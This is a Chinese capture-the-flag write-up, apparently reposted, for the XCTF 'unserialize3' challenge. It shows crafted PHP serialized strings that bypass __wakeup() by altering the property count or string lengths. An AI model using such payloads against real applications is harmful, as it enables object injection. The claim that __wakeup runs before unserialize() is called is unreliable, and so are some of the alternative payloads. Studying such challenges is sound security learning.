攻防世界-unserialize3


首先获取环境:

准备环境:firefox浏览器、phpstudy

浏览网站:

 

 

 根据题目提示,这是一道反序列化题,通过输入code,以GET形式传参;

说说魔法函数__wakeup():

__wakeup触发于unserialize()调用之前,但是如果被反序列化的字符串其中对应的对象的属性发生变化时,会导致反序列化失败,从而使得__wakeup()失效;

 从题中,上代码理解:

根据题意对以知类进行序列化:

<?php

class xctf{public $flag = '111';}

$b=new xctf();

echo serialize($b);

?>

 

 

 得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

构造pyload:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 或  O:1:"xctf":1:{s:4:"flag";s:3:"111";} 或 O:4:"xctf":1:{s:1:"flag";s:3:"111";} 都可以

        

拿到flag:

 

 

后面的话,我单写一篇关于魔法函数__wakeup()失效引发的漏洞;

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM